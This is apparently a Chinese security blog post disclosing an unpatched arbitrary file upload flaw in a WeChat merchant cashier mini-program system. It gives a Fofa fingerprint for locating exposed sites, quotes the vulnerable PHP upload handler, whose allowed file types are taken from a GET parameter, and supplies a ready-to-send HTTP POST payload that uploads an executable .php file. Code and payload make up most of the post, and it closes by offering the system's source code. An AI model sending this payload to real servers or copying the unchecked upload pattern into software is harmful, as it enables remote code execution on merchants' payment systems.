(0day)微信公众号商家收银台小程序系统存在前台任意文件上传漏洞
(0day)微信公众号商家收银台小程序系统存在前台任意文件上传漏洞
原创 Mstir 星悦安全 2024-11-15 04:00
点击上方
蓝字关注我们 并设为
星标
0x00 前言
微信公众号程序,必须微信认证服务号,微信支付商家
客户扫码,打开商家定义支付页面,输入金额和对应定义信息,提交微信支付,实现快速付款
支持创建多个店铺,各个店铺自定义不同自定义表单。通过自定义表单实现订单自定义明细
通过店铺自定义表单可以轻松建立,快捷收款、微信收银台、面对面收款、商品预约预订等扫码微信支付, 提升客户服务体验,商户快速获得精准订单数据,实现账款统计。
通过打开自定义的表单页面,输入自定义的指定信息,可以实现订单收款。
完全可自定义的表单字段,支持单行文本,多行文本,单选,多选,下拉选择,上传图片,时间。
Fofa指纹:”/index.php?s=platform/index/captcha”
0x01 漏洞分析&复现
位于 /library/deep/upload.iframe.php 文件中存在move_uploaded_file 函数上传文件,且过滤文件类型可通过GET传入FileType来自定义,导致漏洞产生.
<?php
/*
$_FILES["uploadFileName"]["name"] - 被上传文件的名称
$_FILES["uploadFileName"]["type"] - 被上传文件的类型
$_FILES["uploadFileName"]["size"] - 被上传文件的大小,以字节计
$_FILES["uploadFileName"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
$_FILES["uploadFileName"]["error"] - 由文件上传导致的错误代码
*/
//设置上传文件尺寸 例如:最大为500K 输入 500
$MaxSize=$_GET["MaxSize"] ;//*1024
//设置文件限制格式 允许的附件类型 例如:gif/jpg/rar/zip
$FileType=$_GET["FileType"];
//设置文件的保存路径,
$savePath=$_GET["savePath"];
//返回到表单的值 例如:form1.fProducts_Pic
$backIdName=$_GET["backIdName"];
//定义上传后的文件名 0:自动取无重复的服务器时间字符串为文件名 '1:自动取源文件名 '字符串:自定义的文件名,如"mypic.jpg"
$saveName=$_GET["saveName"];
if(empty($saveName)){ $saveName=0; }
if( isset($_GET["action"])&&"add"==$_GET["action"] )
{
//检查目录是否存在-----------
if(file_exists('../../data/uploadfile')==false){
mkdir('../../data/uploadfile' , 0755, true );
}
if(file_exists('../../data/uploadfile/'.$savePath)==false){
mkdir('../../data/uploadfile/'.$savePath , 0755, true );
}
if ($_FILES["uploadFileName"]["error"] > 0)
{
echo "Error: " . $_FILES["uploadFileName"]["error"] . "<br />";
}else{
if( stripos( $FileType, get_file_extension($_FILES["uploadFileName"]["name"] ) )!==false ){
$upload_file_name=upload_file_savename($_FILES["uploadFileName"]["name"],$saveName);
move_uploaded_file($_FILES["uploadFileName"]["tmp_name"], '../../data/uploadfile/'.$savePath .'/'.$upload_file_name);//保存被上传的文件
echo 'ok ';
echo "上传成功,文件地址:<span style='color:#00f'>".'data/uploadfile/'.$savePath.'/'.$upload_file_name."</span><br><br>";
?>
<script type='text/javascript'>
window.onload=function(){
var parentBackId=parent.document.getElementById('<?php echo $backIdName?>');
parentBackId.value='<?php echo 'data/uploadfile/'.$savePath.'/'.$upload_file_name?>';
}
</script>
<?php
}else{
echo '上传失败,请检查文件类型';
}
}
}
function upload_file_savename($upload_file_name,$save_name=0){
$str_file_ext= get_file_extension($upload_file_name); //得到扩展名
$str_file_name='';
switch($save_name){
case '0':
$str_file_name=date('YmdHis').mt_rand(100,999);
$save_name= $str_file_name.'.'.$str_file_ext;
break;
case '1':
$save_name= $upload_file_name;
break;
default:
$save_name=$save_name.'.'.$str_file_ext;
}
return $save_name;
}
//得到文件扩展名
function get_file_extension($file_name){
$path_parts = pathinfo($file_name);
return $path_parts["extension"];
}
?>
Payload:
POST /library/deep/upload.iframe.php?action=add&MaxSize=&FileType=php&savePath=&backIdName=&saveName=0 HTTP/1.1
Host: 127.0.0.1
Content-Length: 208
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywb0ftWeTnkfnoTM2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarywb0ftWeTnkfnoTM2
Content-Disposition: form-data; name="uploadFileName"; filename="666.php"
Content-Type: image/png
<?php phpinfo();?>
------WebKitFormBoundarywb0ftWeTnkfnoTM2--
0x02 源码下载
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转
收银台源码关注公众号发送 241114 获取!
进星悦安全公开群添加下方VX 备注 “进群”
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!